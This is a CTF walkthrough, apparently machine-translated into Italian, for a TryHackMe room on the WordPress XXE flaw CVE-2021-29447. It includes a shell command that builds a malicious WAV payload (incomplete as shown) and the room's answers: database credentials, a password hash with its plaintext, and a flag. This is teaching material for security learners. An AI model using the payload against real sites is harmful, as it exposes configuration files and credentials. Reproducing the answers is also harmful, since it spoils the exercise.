Abbiamo coperto una vulnerabilità CVE-2021-29447 di WordPress XXE che consente la divulgazione di file sensibili e la falsificazione delle richieste lato server (SSRF). Abbiamo sfruttato questa vulnerabilità di WordPress generando un payload WAV e caricandolo sul sito Web WordPress compromesso. Questo faceva parte ProvaHackMe WordPress: CVE-2021-29447 Camera.

Note sullo studio OSCP

Corso completo Splunk SIEM con scenari pratici

Punti salienti

Cos'è la vulnerabilità XXE

Un attacco XML External Entity (XXE) è una vulnerabilità che abusa delle funzionalità dei parser/dati XML. Spesso consente a un utente malintenzionato di interagire con qualsiasi backend o sistema esterno a cui l'applicazione stessa può accedere e può consentire all'utente malintenzionato di leggere il file su quel sistema. Possono anche causare attacchi Denial of Service (DoS) o utilizzare XXE per eseguire Server-Side Request Forgery (SSRF) inducendo l'applicazione Web a effettuare richieste ad altre applicazioni. XXE può persino abilitare la scansione delle porte e portare all'esecuzione di codice remoto.

Impatto WordPress CVE-2021-29447

  • Divulgazione arbitraria di file: Il contenuto di qualsiasi file sul file system dell'host potrebbe essere recuperato, ad es wp-config.php che contiene dati sensibili come le credenziali del database.
  • Falsificazione delle richieste lato server (SSRF): Le richieste HTTP potrebbero essere effettuate per conto dell'installazione di WordPress. A seconda dell’ambiente, ciò può avere un impatto serio.

Creazione del carico utile

Puoi creare un payload WAV utilizzando i comandi mostrati di seguito

nano poc.wav
# crea un file wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00 <!DOCTYPE ANY[ %remote;%init;%trick;]>\x00' > payload.wav

# incolla il payload utilizzando echo, modifica l'ip e la porta in modo che corrispondano ai tuoi

Riferimenti

  • WordPress 5.7 – Inserimento di entità esterne XML (Libreria multimediale) (XXE) (autenticato): Exploit-DB
  • WordPress 5.6-5.7 – Autenticato (Autore+) XXE (CVE-2021-29447): Github
  • WordPress 5.6-5.7 – XXE autenticato all'interno della libreria multimediale che interessa PHP 8: wpscan

Risposte in camera

Sulla base dei risultati di #1, qual è il nome del database per WordPress?

wordpressdb2

In base ai risultati di #1, quali sono le credenziali che hai trovato?

esempio: utente:password

thedarktangent:sUp3rS3cret132

Enumerare e identificare quali sono i dbms installati sul server?

MySQL

In base ai risultati di #4, qual è la versione del dbms installata sul server?

5.7.33

In base ai risultati di #4, su quale porta è in esecuzione il DBMS?

3306

Compromettere il dbms, qual è la password crittografata situata nella tabella degli utenti WordPress con ID 1??

$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1

Sulla base dei risultati di #7, Qual è la password nel testo semplice?

orsacchiotto di peluche

Compromettere la macchina e individuare flag.txt

thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c72}

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli